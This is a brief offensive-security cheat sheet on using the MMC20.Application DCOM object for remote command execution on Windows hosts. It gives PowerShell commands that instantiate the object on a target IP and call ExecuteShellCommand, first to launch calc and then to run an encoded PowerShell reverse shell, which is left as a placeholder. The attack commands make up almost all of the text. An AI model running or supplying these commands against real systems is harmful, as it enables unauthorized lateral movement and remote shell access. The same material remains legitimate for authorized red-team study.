What is about ? basically, MMC {Microsoft management console} allows creation of process if the request is coming from authenticated local admin user via DCOM API.
Requirements: RPC open DCOM enabled [ On by default ] Local Admin Access
Initiate a MMC 2.0 application
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","{Target_IP}"))
Example usage :
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
it runs the calculator process from cmd
Sending a reverse shell back using
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"{{Powershell_B64encoded_rev_shell}}","7")
it executes PowerShell rev shell in PowerShell.